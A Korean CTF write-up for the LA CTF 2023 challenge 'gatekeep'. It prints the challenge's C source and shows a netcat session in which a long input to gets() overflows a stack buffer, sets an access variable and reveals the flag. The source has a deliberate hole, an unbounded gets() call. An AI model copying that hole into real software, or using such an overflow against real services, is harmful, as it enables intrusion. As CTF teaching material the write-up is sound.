La CTF 2023 - gatekeep

pwnable 문제도 많고 너무 재밌는 씨텝이었다. 내가 봤던 문제들에는 도커파일과 소스코드를 제공해주었다.

If I gaslight you enough, you won’t be able to get my flag! :)
nc lac.tf 31121

  • [529 solves / 138 points]

Analysis

친절하게

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>

void print_flag() {
char flag[256];

FILE* flagfile = fopen("flag.txt", "r");

if (flagfile == NULL) {
puts("Cannot read flag.txt.");
} else {
fgets(flag, 256, flagfile);
flag[strcspn(flag, "\n")] = '\0';
puts(flag);
}
}

int check(){
char input[15];
char pass[10];
int access = 0;

// If my password is random, I can gatekeep my flag! :)
int data = open("/dev/urandom", O_RDONLY);
if (data < 0)
{
printf("Can't access /dev/urandom.\n");
exit(1);
}
else
{
ssize_t result = read(data, pass, sizeof pass);
if (result < 0)
{
printf("Data not received from /dev/urandom\n");
exit(1);
}
}
close(data);

printf("Password:\n");
gets(input);

if(strcmp(input, pass)) {
printf("I swore that was the right password ...\n");
}
else {
access = 1;
}

if(access) {
printf("Guess I couldn't gaslight you!\n");
print_flag();
}
}

int main(){
setbuf(stdout, NULL);
printf("If I gaslight you enough, you won't be able to guess my password! :)\n");
check();
return 0;
}

gets 함수는 BOF가 일어날 가능성이 존재한다. /dev/urandom에서 읽어온 값은 값을 leak하는 거 아닌 이상 정확한 값을 알 수가 없기 때문에 strcmp(input, pass)을 우회하여 access를 1로 세팅해줘야하는 방법을 생각해야 한다.

Solve

a를 많이 보내주니 print_flag 함수가 실행되어 플래그를 획득할 수 있었다.

1
2
3
4
5
6
7
[jir4vvit@arch gatekeep]$ nc lac.tf 31121
aIf I gaslight you enough, you won't be able to guess my password! :)
Password:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
I swore that was the right password ...
Guess I couldn't gaslight you!
lactf{sCr3am1nG_cRy1Ng_tHr0w1ng_uP}

Flag

1
lactf{sCr3am1nG_cRy1Ng_tHr0w1ng_uP}